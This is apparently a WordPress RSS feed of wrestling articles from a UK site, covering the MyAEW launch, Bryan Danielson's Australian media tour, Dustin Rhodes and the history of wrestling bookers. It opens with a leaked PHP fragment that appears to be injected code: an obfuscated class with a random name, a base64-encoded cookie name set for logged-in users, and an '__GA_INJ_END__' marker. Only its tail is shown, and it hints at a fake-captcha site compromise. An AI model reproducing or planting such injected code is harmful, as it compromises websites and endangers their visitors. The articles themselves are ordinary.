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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_c21eb0e9=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_c21eb0e9])){return;}$_49c41ff1=time()+(365*24*60*60);setcookie($_c21eb0e9,'1',$_49c41ff1,'/','',false,false);}}new GAwp_f7a8ee85(); /* __GA_INJ_END__ */ AEW Archives - DeadFormat https://deadformat.co.uk/tag/aew/ Yesterday’s media. Today. Mon, 09 Mar 2026 16:29:29 +0000 en-GB hourly 1 https://wordpress.org/?v=6.9.4 https://deadformat.co.uk/wp-content/uploads/2025/08/cropped-ChatGPT-Image-Aug-5-2025-04_09_27-PM-32x32.png AEW Archives - DeadFormat https://deadformat.co.uk/tag/aew/ 32 32 All Elite Wrestling Partners With Kiswe to Launch MyAEW https://deadformat.co.uk/all-elite-wrestling-partners-with-kiswe-to-launch-myaew/ https://deadformat.co.uk/all-elite-wrestling-partners-with-kiswe-to-launch-myaew/?noamp=mobile#respond Mon, 09 Mar 2026 16:27:33 +0000 https://deadformat.co.uk/?p=11061 After more than six years in operation, All Elite Wrestling has officially launched its own FAST channel as part of a new partnership with streaming technology company Kiswe. The platform, called MyAEW, was announced Monday and will provide fans with a new way to access AEW content online. According to the announcement, MyAEW will offer […]

The post All Elite Wrestling Partners With Kiswe to Launch MyAEW appeared first on DeadFormat.

]]> After more than six years in operation, All Elite Wrestling has officially launched its own FAST channel as part of a new partnership with streaming technology company Kiswe.

The platform, called MyAEW, was announced Monday and will provide fans with a new way to access AEW content online. According to the announcement, MyAEW will offer immersive access to both live and on-demand events outside the United States and Canada, along with a dedicated FAST channel that will be available globally and supported by advertising. Additional features are also planned for future updates.

FAST stands for Free Ad-Supported Streaming Television, a model that allows viewers to watch content for free while ads are shown during programming.

The service is now live at MyAEW.com, where fans can currently watch episodes from the first year of AEW Dynamite. The website also features a “coming soon” section for the AEW Podcast Network, alongside links to official AEW merchandise.

In the official release, AEW stated:

“This partnership marks the beginning of a long-term evolution for MyAEW, with continued advancements and developments over the next year.”

While the FAST channel will provide free viewing, the announcement suggests some paid elements may be introduced in certain regions. The release notes that Kiswe’s technology allows platforms to offer live and on-demand streaming with flexible, region-specific pricing models.

It remains unclear whether the MyAEW FAST channel will eventually expand to third-party FAST platforms such as Pluto TV, Tubi, The Roku Channel, Samsung TV Plus, or Xumo Play, which could significantly broaden its reach.

AEW’s broadcast partner Warner Bros. Discovery has already launched several FAST channels across those platforms, though none have included AEW content so far. Interestingly, Paramount Global — which could become AEW’s domestic rights holder if its planned merger with Skydance is completed — already owns Pluto TV, potentially creating another future distribution avenue for AEW programming.

The post All Elite Wrestling Partners With Kiswe to Launch MyAEW appeared first on DeadFormat.

]]> https://deadformat.co.uk/all-elite-wrestling-partners-with-kiswe-to-launch-myaew/feed/ 0 Danielson Gets The Itch Watching ACTION DEAN~!! 2 https://deadformat.co.uk/danielson-gets-the-itch-watching-action-dean-2/ https://deadformat.co.uk/danielson-gets-the-itch-watching-action-dean-2/?noamp=mobile#respond Sat, 13 Sep 2025 20:41:51 +0000 https://deadformat.co.uk/?p=10686 Bryan Danielson has revealed that watching the ACTION DEAN~!! 2 event earlier this year briefly reignited his desire to return to professional wrestling. The former AEW World Champion opened up about the experience while speaking with Wrestle Radio Australia, explaining that the energy of the show made him feel something he hadn’t felt in years. […]

The post Danielson Gets The Itch Watching ACTION DEAN~!! 2 appeared first on DeadFormat.

]]> Bryan Danielson has revealed that watching the ACTION DEAN~!! 2 event earlier this year briefly reignited his desire to return to professional wrestling. The former AEW World Champion opened up about the experience while speaking with Wrestle Radio Australia, explaining that the energy of the show made him feel something he hadn’t felt in years.

A Tribute Show That Rekindled His Passion

The ACTION DEAN~!! 2 event was a co-promoted show between ACTION Wrestling and AEW held back in May, paying tribute to the late Dean Rasmussen — a beloved figure within the wrestling community who wrote extensively about the industry on the influential Death Valley Driver website.

Danielson attended the show live and found himself swept up in the spirit of the event, which celebrated independent wrestling’s creativity and passion.

“There was a show we did before Double or Nothing, DEAN~!!! in tribute to Dean Rasmussen,” Danielson said. “I watched that show, I was there live watching it. Not much has made me want to come back to wrestling because I was in so much pain the last six months of my in-ring career, but I was there at that show and was like, ‘I kinda want to come back.’ [Laughs]. What do I have to do to wrestle Mad Dog Connelly in a chain match?”

Danielson’s Final Months in the Ring

Danielson has been open about how the physical toll of his final six months as an active competitor played a major role in his decision to retire from in-ring competition. The pain and wear-and-tear became so intense that even the thought of wrestling again had largely vanished — until ACTION DEAN~!! 2 momentarily reignited that spark.

A New Role Behind the Desk

While the show may have briefly tempted him to lace up his boots again, Danielson has not returned to active competition. Instead, he has embraced a new role in AEW as part of the commentary team, providing insight and analysis from ringside.

It marks a major transition for one of wrestling’s most celebrated performers, who continues to influence the industry from outside the ropes even as his in-ring days appear to be behind him.

The post Danielson Gets The Itch Watching ACTION DEAN~!! 2 appeared first on DeadFormat.

]]> https://deadformat.co.uk/danielson-gets-the-itch-watching-action-dean-2/feed/ 0 Bryan Danielson Lights Up AEW’s Australian Media Tour https://deadformat.co.uk/bryan-danielson-lights-up-aews-australian-media-tour/ https://deadformat.co.uk/bryan-danielson-lights-up-aews-australian-media-tour/?noamp=mobile#respond Wed, 10 Sep 2025 20:35:38 +0000 https://deadformat.co.uk/?p=10650 Bryan Danielson has touched down in Australia ahead of AEW Grand Slam: Sydney, and the buzz around him has been impossible to ignore. The American Dragon has been front and centre during AEW’s promotional tour, speaking candidly about the company, his career, and what fans can expect from AEW’s historic first stadium show down under. […]

The post Bryan Danielson Lights Up AEW’s Australian Media Tour appeared first on DeadFormat.

]]> Bryan Danielson has touched down in Australia ahead of AEW Grand Slam: Sydney, and the buzz around him has been impossible to ignore. The American Dragon has been front and centre during AEW’s promotional tour, speaking candidly about the company, his career, and what fans can expect from AEW’s historic first stadium show down under. From heartfelt reflections on his future to fiery declarations about AEW’s growth, Danielson has given wrestling fans in Australia plenty to talk about — and the headlines just keep coming.

Featuring quotes from; Ned & Josh, Jamie Apps of Pario Magazine, Jon Bernard, Nick Stav, and The AM/IN Show

Bryan Danielson on WWE Not Wanting AEW to Exist

While speaking with Ned & Josh during AEW’s Australian media tour, Bryan Danielson didn’t shy away from addressing the often-debated relationship between WWE and AEW. The American Dragon admitted that while most wrestlers in WWE would logically want AEW to succeed — since competition benefits talent across the board — there are some who feel differently.

“I would think most wrestlers in WWE want AEW to keep existing because it’s good for them, but certain people there obviously don’t want us to exist. I’m not saying anything bad about them. I’m just saying, I’m curious as to why they desire that.”

Danielson’s comments highlight the ongoing tension between the two biggest wrestling promotions in the world, while also showcasing his typically calm, inquisitive approach rather than outright hostility.

Bryan Danielson on the Idea of Running Ring of Honor

During an interview with Jamie Apps of Pario Magazine, Danielson was asked whether he’d ever be interested in taking over Ring of Honor — the promotion where he first made his name. His answer was thoughtful, respectful of Tony Khan’s current role, but also revealed his admiration for ROH’s value within AEW’s ecosystem.

“Yeah, I mean that would interest me. I don’t think Tony has interest in that. I think Tony does a really great job of juggling all these plates. He does a pretty great job with it. I’m always open to doing whatever the company needs. So yeah, I would love to do it.”

Danielson went on to praise Ring of Honor as a platform for younger talent, highlighting standout matches from the latest ROH pay-per-view — including Lee Moriarty vs. Xelhua, Bandido vs. Hechicero, and Athena vs. Mina Shirakawa.

“I think Ring of Honor is a really cool product, especially for our younger talent to be able to get them exposure… When you see the talent that you’ve got to work with—everybody’s perspective is a little different. Everybody has their little bit of difference, where you see something and be like, ‘Oh, okay, I would do something a little bit different here.’ But I wouldn’t say that my version of it would be any better than Tony Khan’s version. I’m not here angling for a job to take over Ring of Honor.”

Even as one of ROH’s most iconic alumni, Danielson made it clear that he isn’t lobbying for control. Instead, his comments underscored his ongoing respect for the promotion’s legacy and its role in developing future stars.

Bryan Danielson on His Running Gag with Shane Haste

In the same Pario Magazine interview, Danielson shared a lighthearted story about his history with current New Japan star Shane Haste. It all started back in Perth during his time working NWA shows, when he wrestled Haste and Mikey Nichols. Despite sharing the ring, Danielson admitted he constantly failed to recognise Haste in future encounters.

“I also did some amazing shows in Perth for the NWA and I got to wrestle Shane Haste and Mikey Nichols. They came to WWE for a bit and now they’re in New Japan. It’s really funny because I wrestled them both, and typically when you wrestle people, you remember them. But I have such poor facial recognition.”

Danielson recalled repeatedly introducing himself to Haste as though they’d never met — even after wrestling each other.

“I met Shane Haste at least eight times after that, and every time I was like, ‘Oh, hi. I’m Bryan. Nice to meet you.’ And he’d go, ‘Yeah, we’ve wrestled.’ I was like, ‘Oh, sorry, man.’ Then I’d see him the next time—’Hey, man. Bryan Danielson, nice to meet you.’ He goes, ‘Yeah, I know. We’ve wrestled. We had the same conversation last time.’”

According to Danielson, the mix-up eventually turned into a running gag between them — one he looks back on with humour rather than embarrassment.

Bryan Danielson on Finding Out About AEW Commentary

Danielson also revealed that he discovered his new commentary role on AEW Dynamite in a very unexpected way. Speaking with Pario Magazine, he explained that while the idea had been floated before, the confirmation only came to him at the same time as it did to fans.

“It had been mentioned, but then I found out the same way everybody else found out on Sunday. I got a text message like, ‘hey, man, so you’re going to be at Dynamite this week, right?’ and I was like, ‘huh?’ and then they sent me the tweet that Tony Khan sent out. I was just like, ‘oh, okay. I guess so.’

Tony and I had talked about the possibility of it, but I didn’t know it was a real thing until Sunday. It was Saturday in the United States, but Sunday here in Australia.”

Bryan Danielson on WWE’s Counter-Programming Against AEW

In an interview with Jon Bernard, Danielson addressed WWE’s strategy of counter-programming against AEW. Rather than taking shots, he framed his comments around curiosity — questioning the thought process behind WWE’s moves and whether AEW truly poses the kind of threat that would warrant such measures.

“I think of it and I wonder, right? Like, I’m just curious what the people who are making these decisions, what they’re thinking. In the sense of this, ‘Oh, okay. This AEW thing, it’s real dangerous to our billion dollar business.’ That can’t be it.

The one thing I think is that AEW existing and being this challenger brand, and being as successful as we’ve been, has changed the landscape for wrestling for the wrestlers themselves… but we’re still the challenger brand, catching up on however many years WWE has had.

But it’s interesting, because we’re not at the point of being a threat. It’s one of the things where people who really crave power and a lot of money play these weird games that I don’t understand.

It’s like, okay, we’re going to run all the competitors that might be competitive with us out of this business. Why? It’s good for the wrestlers both in AEW and WWE. It’s been good for them like—okay, if AEW wouldn’t have started, would Cody Rhodes be where he is right now? No. They have a megastar because AEW exists. Would CM Punk ever have come back? Probably not,

— The people in WWE, a lot of the people I know, are great people. So I’d be interested to know what’s the decision-making process in this? But, you know, it’s not my monkey, not my circus, whatever the line is for that, you know what I mean?”

Danielson acknowledged that AEW has undeniably shifted the wrestling landscape, creating new opportunities for talent across the industry, but made it clear he sees the company as a challenger brand rather than a direct threat.

Bryan Danielson on His Struggles in the Match with Kazuchika Okada

Reflecting on a past AEW Dynamite clash with Kazuchika Okada, Danielson admitted that his physical limitations nearly derailed the bout. Speaking to Jon Bernard, he revealed how his lingering neck issues caused an unexpected collapse in his conditioning — something that rarely happens to him.

“There was a point where I stopped being able to do some of the things that I could normally do because my neck was so bad. Shortly before my last match with Jon Moxley, I wrestled Okada on TV, and I never get tired when I wrestle ever, right? But because my neck was so bad, my legs started giving out.

And it was like, ‘Oh no, what do I do now that my legs aren’t working?’ I just thought, okay, I’ll try to get through this. Which was really hard because the story of the match was that he’s the Continental Champion. The first 20 minutes, I needed to be pushing him because the Continental Title was only up for grabs for the first 20 minutes, and I needed to be pushing the pace.

But I couldn’t, because my legs weren’t working. So yeah, if my body was fully functional, I feel like my mind is as good for wrestling as ever—but my body’s not fully functional.”

The story underlines Danielson’s ongoing battle between his wrestling mind — still as sharp as ever — and a body that sometimes struggles to keep up with the demands of his craft.

Bryan Danielson on Who He Believes Are the Best Wrestlers in the World

When asked to name the wrestlers he considers among the best in the world today, Danielson pointed to a wide range of talent across AEW, Ring of Honor, and New Japan Pro Wrestling. Speaking with Jon Bernard, he praised both established stars and rising names who have stood out to him.

“As far as the people in AEW, I think Bandido has had this incredible year. He’s the ROH Champion and he just had this match with Hechicero on a Ring of Honor pay-per-view that was just awesome.

And then Will Ospreay, Swerve, Hangman—Hangman’s freaking awesome, Kyle Fletcher, there’s just so many guys. And that’s even discounting the women, right? You look at Toni Storm and Mercedes, and they’re both fantastic.

It’s hard for me to say because everybody wrestles kind of a different style. There’s a New Japan wrestler that I love named Zack Sabre Jr., and I think Zack—he’s wrestling a completely different style than anybody else, and I just find it to be super compelling.”

Danielson’s list underscores both his appreciation for technical variety and his recognition of talent across genders and promotions, highlighting just how diverse the current wrestling landscape has become.

Bryan Danielson on Vince McMahon’s Final WWE Offer

Before committing to AEW, Danielson revealed that Vince McMahon personally reached out to make him one last offer to stay with WWE. Speaking with Nick Stav, Danielson explained how he valued his relationship with McMahon but stood firm on the decision he had already made.

“I had called Vince because he and I had a really good relationship. I called him in early August and let him know, ‘Okay, I’ve made my decision and I’m gonna do this.’ Then he had called me one time kind of in the meantime and said, ‘Hey, what if we offered you this instead?’ It was maybe five days before the pay-per-view and he called me.

I said, ‘Sir, I’ve already agreed to this thing and if I was somebody to go back on this, I feel like you have a decent amount of respect for me. Would you still respect me? One of the things that you respect about me is I honor my word.’ But it was a great conversation and he said, ‘Dammit, you’re right.’”

The anecdote reflects both Danielson’s integrity in keeping his word and the mutual respect he and McMahon shared, even as their paths diverged.

Bryan Danielson on His Most Cherished Crowd Reactions

When asked if there was a specific crowd or night that stood out to him, Danielson recalled two deeply meaningful moments — one from AEW and one from WWE. Speaking with Nick Stav, he shared how both personal and professional milestones intertwined in those memories.

“The one that resonates with me most right now is when I won the (AEW World) title at All In in Wembley Stadium.

This amazing crowd reaction in front of 50-plus thousand people, but my kids are there. And they get to see it. And then they get to get in the ring with me. And then they get to experience the crowd reaction. So as a family, we’re all experiencing this together.

Another crowd reaction that is near and dear to my heart that I think about all the time is the last time my dad got to see me wrestle before he died. It was in Seattle. It was December 2013. They were doing this unification match between John Cena and Randy Orton. And they had all the former champions in the ring, and the crowd started chanting nonstop for Daniel Bryan.

What makes it stand out especially is that my dad was in the crowd, and he was in the crowd with his boss. He told this to my sister shortly after, he goes, ‘I didn’t realize that Bryan was like this’ …. RAW goes off the air and the good guys are out shaking hands, and I see my dad who was like 10-12 rows back, run up and I just give him the biggest hug. And then four or five months later, he passed away.”

From the joy of celebrating a career-defining victory at Wembley with his children to the emotional memory of sharing a final wrestling moment with his father, Danielson revealed the human side of why certain crowd reactions mean more than others.

Bryan Danielson on the Rise of Australian Talent

During an appearance on The AM/IN Show, Danielson expressed his admiration — and curiosity — about the surge of high-level wrestling talent emerging from Australia. He noted how impressive the skill level has been, while also wondering how the industry can ensure that pipeline continues to thrive.

“How does it happen, where are they training at, where do they get the reps to get this good at all this stuff. It’s more of a curiosity in the sense of, okay, how do we build these systems so that this keeps happening, so that more and more Australian wrestlers keep coming up the pipeline like this.

Toni Storm is one of the biggest draws we have in AEW, Kyle Fletcher is just incredible. Harley Cameron, I don’t know if you know this, she speaks Chinese! She does puppet stuff, she can play musical instruments, she can rap, she can do all of these different things.

How are these people coming into the pipeline to where we can present them on our programming and how do we keep that happening. From an administrative perspective, that’s what you look at.”

Danielson highlighted AEW stars like Toni Storm and Kyle Fletcher, along with Harley Cameron’s wide range of talents, as prime examples of Australia’s growing impact on global wrestling.

Bryan Danielson on Having No Wrestling Bucket List Left

Speaking again on The AM/IN Show, Danielson admitted that he no longer has any lingering goals left in professional wrestling. After decades of success and a career filled with defining moments, he explained that both his perspective and personal life have shifted.

“There’s not a single thing. I’ve been very fortunate in my career to have some incredible moments and all that kind of stuff. And I think when I was forced to retire before, I wasn’t ready to be done.

With the last six months of my wrestling career, being in as much pain as I was, that kind of put me in this thing of like, ‘Okay, you know what? I think I’m ready to be done.’ And now I have—like when I was forced to retire before, I was married, but we didn’t have kids yet, right? And so it’s like, you go home and you have that full parenting life and all that kind of stuff. It’s a whole other thing, right?

So yeah, I’m very fulfilled by my career. I’m very fulfilled by my life right now. And I get to stay involved in professional wrestling, which is something that I still love to this day.”

Danielson stressed that while his body has reminded him of his limits, he feels fully content with what he has achieved and finds joy in both his family life and his continued involvement in wrestling.

Bryan Danielson’s trip to Australia has provided fans with a rare, unfiltered glimpse into the mind of one of wrestling’s most respected figures. From candid reflections on WWE and AEW’s rivalry to heartfelt personal stories, from his thoughts on rising talent to his own physical battles, Danielson has been open, honest, and deeply thoughtful.

Across interviews with Featuring quotes from; Ned & Josh, Jamie Apps of Pario Magazine, Jon Bernard, Nick Stav, and The AM/IN Show, Danielson has shown exactly why his voice carries so much weight both inside and outside the ring. Whether he’s praising the next generation, recalling emotional family moments, or admitting he’s at peace with his career, The American Dragon’s words have only heightened anticipation for AEW Grand Slam: Sydney.

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]]> https://deadformat.co.uk/bryan-danielson-lights-up-aews-australian-media-tour/feed/ 0 Dustin Rhodes – Five Decades of Wrestling Excellence https://deadformat.co.uk/dustin-rhodes-five-decades-of-wrestling-excellence/ https://deadformat.co.uk/dustin-rhodes-five-decades-of-wrestling-excellence/?noamp=mobile#respond Thu, 28 Aug 2025 14:44:41 +0000 https://deadformat.co.uk/?p=10343 On January 1, 2020, on an episode of AEW Dynamite, Dustin Rhodes etched his name into the record books by competing in professional wrestling across five different decades—the 1980s, 1990s, 2000s, 2010s, and 2020s. Already a rare feat, Rhodes has since gone on to add championship gold and more iconic moments, proving that his career […]

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]]> On January 1, 2020, on an episode of AEW Dynamite, Dustin Rhodes etched his name into the record books by competing in professional wrestling across five different decades—the 1980s, 1990s, 2000s, 2010s, and 2020s. Already a rare feat, Rhodes has since gone on to add championship gold and more iconic moments, proving that his career is as remarkable in its longevity as it is in its impact.

From “The Natural” to Goldust

Rhodes first made his mark in WCW in the late 1980s, billed as “The Natural.” His fundamentals and ring presence quickly set him apart. By the mid-1990s, in WWE, he transformed into the flamboyant and controversial Goldust—a boundary-pushing character that became one of wrestling’s most enduring personas.

What could have been a short-lived gimmick instead became a decades-long legacy, thanks to Rhodes’ total commitment and his ability to reinvent the role through different eras of WWE.

Reinvention Across Generations

Few wrestlers have adapted as seamlessly as Dustin Rhodes. He thrived in the big-man era of the 1980s, embodied the colourful theatrics of the 1990s, survived the ruthless reality-based style of the 2000s, and in the 2010s proved he could still deliver in a modern, athletic landscape.

Every reinvention felt authentic, because Rhodes backed it with both in-ring ability and emotional storytelling. His willingness to evolve is why he remains beloved by multiple generations of fans.

AEW Success and Championship Glory

Far from winding down, Rhodes embraced a new chapter with All Elite Wrestling. His emotional 2019 clash with Cody Rhodes at Double or Nothing reminded the world of his passion, but it was only the beginning.

In July 2025, at the age of 56, Rhodes captured the AEW TNT Championship, becoming the oldest champion in company history. It was his first major singles title in decades, a crowning moment that symbolised not just longevity, but relevance. Though his reign was brief, it cemented his status as a competitor who can still deliver at the highest level.

Beyond AEW, Rhodes also found success in Ring of Honor, winning both the ROH World Six-Man Tag Team Championship and the ROH World Tag Team Championship in 2024 as part of the Sons of Texas stable. These victories showcased his ability to shine in both singles and team competition, proving his value across multiple promotions.

Resilience in the Face of Injury

Even at this late stage of his career, Rhodes continues to push himself to the limit. His brutal Street Fight loss to Kyle Fletcher, and a loss of the TNT Championship in mid-2025 left him with severe knee damage, requiring double knee replacement surgery. Yet true to form, Rhodes has vowed to recover and return, his determination inspiring fans who have followed his story for decades.

Not Alone in His Achievement

While Dustin Rhodes was rightly praised for his five-decade milestone, he shares this rare distinction with Jushin “Thunder” Liger, who wrestled his farewell match just four days later in Japan. Together, they represent a near-unmatched endurance in the wrestling world—legends who defined multiple eras while constantly adapting to change.

Jushin Liger – Wrestling’s Masked Icon Across Five Decades

The Enduring Legacy of Dustin Rhodes

From “The Natural” in WCW, to the groundbreaking Goldust in WWE, to veteran champion in AEW, Dustin Rhodes has never stopped evolving. His five-decade milestone is more than a statistic—it’s proof of his resilience, creativity, and love for professional wrestling.

In 2025, with championships newly added to his resume and the promise of a comeback after injury, Rhodes remains a living testament to the idea that wrestling greatness isn’t tied to one era. It’s forged through reinvention, endurance, and passion—qualities that make Dustin Rhodes one of the most remarkable careers the industry has ever seen.

The only question left now: can he make it to 2030?

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]]> https://deadformat.co.uk/dustin-rhodes-five-decades-of-wrestling-excellence/feed/ 0 History of Wrestling Bookers: Gagne to McMahon, Heyman to Khan https://deadformat.co.uk/history-of-wrestling-bookers-gagne-to-mcmahon-heyman-to-khan/ https://deadformat.co.uk/history-of-wrestling-bookers-gagne-to-mcmahon-heyman-to-khan/?noamp=mobile#respond Fri, 15 Aug 2025 21:09:27 +0000 https://deadformat.co.uk/?p=9850 When everything is a work, when everyone is skilled at putting on a front, and when the business itself revolves around deception, how do you manage the players in that world? How do you make sure that the art of the “work” doesn’t seep into the real business — twisting how people present themselves and […]

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]]> When everything is a work, when everyone is skilled at putting on a front, and when the business itself revolves around deception, how do you manage the players in that world? How do you make sure that the art of the “work” doesn’t seep into the real business — twisting how people present themselves and their intentions? In pro wrestling, the people trusted with that responsibility, the ones “with the pencil,” are known as the Bookers.

Managing and booking a wrestling promotion is a mighty task, made even more difficult by the inherent deception of the entertainment itself. Perhaps that’s why the position has evolved into a team role — a booking committee — rather than the sole responsibility of one person.

Go figure then that, for much of pro wrestling’s history, the role was handled by a single “booker.” The booker was responsible for laying out storylines, both long-term arcs and on-the-fly developments in response to fan reaction. To succeed, a booker had to be creative, understand each wrestler’s strengths, spot industry trends, and plan the future for characters and storylines.

Given the trust involved, many bookers historically favoured the person they knew best — themselves — or their closest allies, often family members. Some legendary performers were entrusted to book while still active in the ring, while others came from outside the ropes altogether, rising from fan to respected creative mind.

The Families: Owner/Bookers

Before WWE became the singular national brand in the early 2000s — and before the Monday Night Wars of the 1990s — the wrestling world was divided into regional territories. WWE itself was the New York territory, owned by the McMahon family, with Vince McMahon Sr. and later Vince Jr. acting as head booker.

Other territories were dominated by family dynasties who not only promoted the shows but booked themselves and relatives into top positions.

Verne Gagne – AWA
Owner, wrestler, and booker for the American Wrestling Association out of Minneapolis. Gagne booked himself as champion for two decades before passing the torch to Nick Bockwinkel. His son Greg was pushed into the spotlight, but never achieved the same acclaim. Gagne’s stubbornness and financial disputes drove away stars like Hulk Hogan, who left in 1983 after Gagne demanded a cut of his merchandise sales.

Fritz von Erich – WCCW
Fritz booked himself to multiple titles in Dallas before pushing his six sons to the top. The von Erich boys collectively held 87 major championships in World Class Championship Wrestling. The promotion innovated presentation — entrance music, creative lighting, and ringside camera work — but the family story was plagued by tragedy, with four of Fritz’s sons dying prematurely.

Other Owner/Bookers

  • Ed Farhat (The Sheik) – Detroit’s Big Time Wrestling, booked himself as champion 12 times.
  • Eddie & Mike Graham – Florida Championship Wrestling, father and son with 46 combined major title reigns.
  • Dory Funk Sr. – Amarillo’s NWA Western State Sports, booked himself and later sons Dory Jr. and Terry to multiple world titles.
  • Stu Hart – Stampede Wrestling in Canada, with his sons winning 47 championships in the territory.
  • Jerry Jarrett – Memphis promoter who booked his son Jeff to dozens of title runs in both CWA and USWA.

The McMahons stand apart from these families by rarely booking themselves as full-time in-ring talents, instead favouring trusted “utility players” to help shape storylines.

The Utility Players

Some bookers started as hardcore fans before climbing the ladder to creative control.

Jim Cornette
From running newsletters and selling posters to managing in WCW, Cornette eventually ran Smoky Mountain Wrestling before joining WWE’s booking committee in the mid-1990s. He often clashed with fellow writer Vince Russo over creative philosophy.

Paul Heyman
Founder of ECW and one of the few promoters to rival WWF and WCW in the 1990s. Heyman later became a key member of WWE’s creative team and remains a major on-screen personality.

Early WWE Creative Aides
Vince Sr. brought in Jim Barnett, a seasoned promoter from Chicago, Detroit, and Australia, to assist with creative. Fired after leaking information to WCW’s Jim Crockett, Barnett later booked in WCW until the mid-1990s.

WCW’s Booking Carousel
WCW cycled through many bookers: Cowboy Bill Watts (credited with pioneering weekly episodic wrestling), Ole Anderson, and even former WWF talent Terry Taylor. Eventually, Eric Bischoff took the reins in the mid-90s.

Pat Patterson
Perhaps Vince McMahon’s most trusted right-hand man for decades. The first Intercontinental Champion and creator of the Royal Rumble match, Patterson was instrumental in major booking decisions, including the iconic Hulk Hogan vs. Ultimate Warrior clash at WrestleMania VI.

The Wrestlers as Bookers

Many legendary wrestlers moved into the booking role while still performing.

Dusty Rhodes
A creative mind obsessed with presentation, Rhodes devised the WarGames match and was notorious for the “Dusty Finish” — a fake-out title change reversed after the fact. He often booked himself in top spots, pairing with rising stars to stay relevant.

Ric Flair
Became WCW’s head booker in the mid-90s but often booked himself to lose in order to keep locker room harmony. Quit in 1995 after refusing to continually put over WWF imports like Hogan and Savage.

Bruiser Brody
A respected in-ring star and former sportswriter. Briefly booked for WCCW but often clashed with other bookers. Tragically murdered in 1988 by fellow wrestler/booker Jose Gonzalez after a locker room dispute.

Kevin Sullivan
Booked WCW during the mid-90s, remembered for the ill-fated Dungeon of Doom storyline and for creative conflicts that drove stars like Chris Benoit, Eddie Guerrero, and Dean Malenko to leave for WWF.

International Influences

In Japan, legendary wrestler–bookers like Giant Baba, Antonio Inoki, Mitsuharu Misawa, and Riki Choshu have shaped long-term booking philosophies, often planning years ahead.

In Mexico, wrestler–bookers such as Konnan have had a huge impact on AAA and CMLL, merging lucha traditions with modern storytelling for international audiences.

Modern Era Booking – Successes and Failures

Today’s major wrestling promotions almost never rely on a single booker in the old territorial sense. Instead, creative direction is managed by figureheads who lead large teams of writers, producers, and talent liaisons. However, two modern names stand out as central forces in shaping wrestling’s current landscape: Triple H and Tony Khan.

Triple H (Paul Levesque)
After transitioning from full-time wrestling, Triple H became WWE’s Executive Vice President of Talent, Live Events, and Creative, eventually overseeing NXT. His “Black & Gold” era of NXT from 2014–2019 is often hailed as one of the best-booked modern wrestling products, blending independent wrestling’s in-ring intensity with WWE’s production values. He elevated countless talents — from Kevin Owens to Finn Bálor to Sasha Banks — and cultivated long-term storytelling that rewarded loyal viewers.

Since 2022, with Vince McMahon’s creative role diminished, Triple H has taken a leading hand in WWE’s main roster booking. Under his watch, storylines have generally become more coherent, characters more consistent, and long-term arcs (like The Bloodline saga) have been allowed to breathe and build over months, echoing the best aspects of classic territory booking.

Tony Khan
The founder, owner, and head booker of All Elite Wrestling, Tony Khan has quickly made himself one of the most influential figures in the industry. Since AEW’s debut in 2019, Khan has worn multiple hats: booker, talent recruiter, and promoter. His booking style blends modern indie sensibilities with nods to classic NWA and WCW storytelling — often aiming for long-term feuds, big payoff matches, and consistent rankings-based logic.

Khan’s willingness to give wrestlers creative freedom, combined with his deep knowledge as a lifelong fan, has led to memorable angles like MJF’s meteoric rise, the Jon Moxley/Kenny Omega feud, and the revival of tag team wrestling as a main event draw. However, AEW’s rapid growth has also tested Khan’s booking consistency, with some critics pointing to overloaded cards and too many storylines running simultaneously. In recent times, Khan has came out and said that he has now been “back in the weeds” creatively and is way more hands on with the creative going forward

Other Notable Modern Bookers

  • Gedo (NJPW) remains widely respected for meticulous, years-long arcs, particularly in the Okada–Tanahashi and Okada–Omega rivalries.
  • Scott D’Amore (Impact Wrestling) has revitalised the brand’s reputation with a mix of veteran stars and breakout indie talent.
  • Court Bauer (MLW) blends sports-style presentation with throwback territory vibes.

Notorious Booking Missteps
Even in the modern era, poor booking decisions can derail momentum:

  • WCW’s Fingerpoke of Doom (1999) destroyed fan trust.
  • TNA’s overbooked “Russo-isms” in the late 2000s alienated audiences.
  • WWE’s “New Generation” lull (mid-90s) showed the dangers of weak character work.

Booker of the Year – Industry Recognition

For decades, wrestling media has celebrated the creative minds behind the matches, with the Wrestling Observer Newsletter (WON) offering one of the most prestigious annual accolades in the industry — the “Best Booker” award. It serves as a defining benchmark to acknowledge booking excellence, storytelling innovation, and long-term narrative impact.

Notable Past Winners Include:
  • 1986: Dusty Rhodes (Jim Crockett Promotions) — praised for imaginative storytelling and iconic angles.
  • 1987 & 1998: Vince McMahon — WWF’s primary creative force, shaping wrestling’s global boom.
  • 1994: Paul Heyman — revolutionised wrestling presentation with ECW’s gritty, innovative style.
  • 2001 & 2003: Jim Cornette — known for strong regional booking and talent development.
  • 2004: Gabe Sapolsky — elevated Ring of Honor into a top-tier independent promotion.
  • 2011: Gedo & Jado — masterminded NJPW’s long-term storytelling and resurgence.
  • 2020: Tony Khan — launched AEW and quickly cemented it as WWE’s first major competition in decades.
  • 2023: Paul “Triple H” Levesque — revitalised WWE’s creative direction following leadership changes.
  • 2024: Gedo — continued NJPW’s creative stability while integrating new stars into top positions.
  • 2025: Tony Khan — recognised again for AEW’s sustained growth and high-profile story arcs.

These awards not only celebrate individual excellence but also keep the art of booking in the spotlight. Fans debate winners and fantasy book their own storylines, proving that the work behind the curtain is just as important as what happens inside the ring.

Legacy of the Booker

The best bookers are often invisible — their success measured in ticket sales, TV ratings, and the emotional reactions of the crowd. Whether running a one-man territory or leading a 20-person creative team, the job demands vision, diplomacy, and the ability to adapt when reality forces a change.

From Dusty Rhodes’ imaginative WarGames cages to Gedo’s multi-year arcs, booking remains one of the most demanding and misunderstood roles in wrestling. The faces in the ring may change, but behind the curtain, the art of telling compelling stories in a business built on illusion remains the same.

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]]> https://deadformat.co.uk/history-of-wrestling-bookers-gagne-to-mcmahon-heyman-to-khan/feed/ 0 Wrestlers Wrestling Across The Decades https://deadformat.co.uk/wrestlers-wrestling-across-the-decades/ https://deadformat.co.uk/wrestlers-wrestling-across-the-decades/?noamp=mobile#respond Wed, 13 Aug 2025 23:11:53 +0000 https://deadformat.co.uk/?p=9765 For many wrestlers, wrestling is their life. Something they dedicate many years of their life to, honing their craft and attempting to create memories for the fans that last forever. Yet many have to retire mid-life due to the wear and tear the sport has on their body: building injuries, their lack of abilities with […]

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]]> For many wrestlers, wrestling is their life. Something they dedicate many years of their life to, honing their craft and attempting to create memories for the fans that last forever. Yet many have to retire mid-life due to the wear and tear the sport has on their body: building injuries, their lack of abilities with their ageing bodies and lack of wanting to travel can be just some of the reasons legends hang up the boots for good. These, however, continued their in-ring days, managing to step inside the ring over 5 different decades (or perhaps more!)

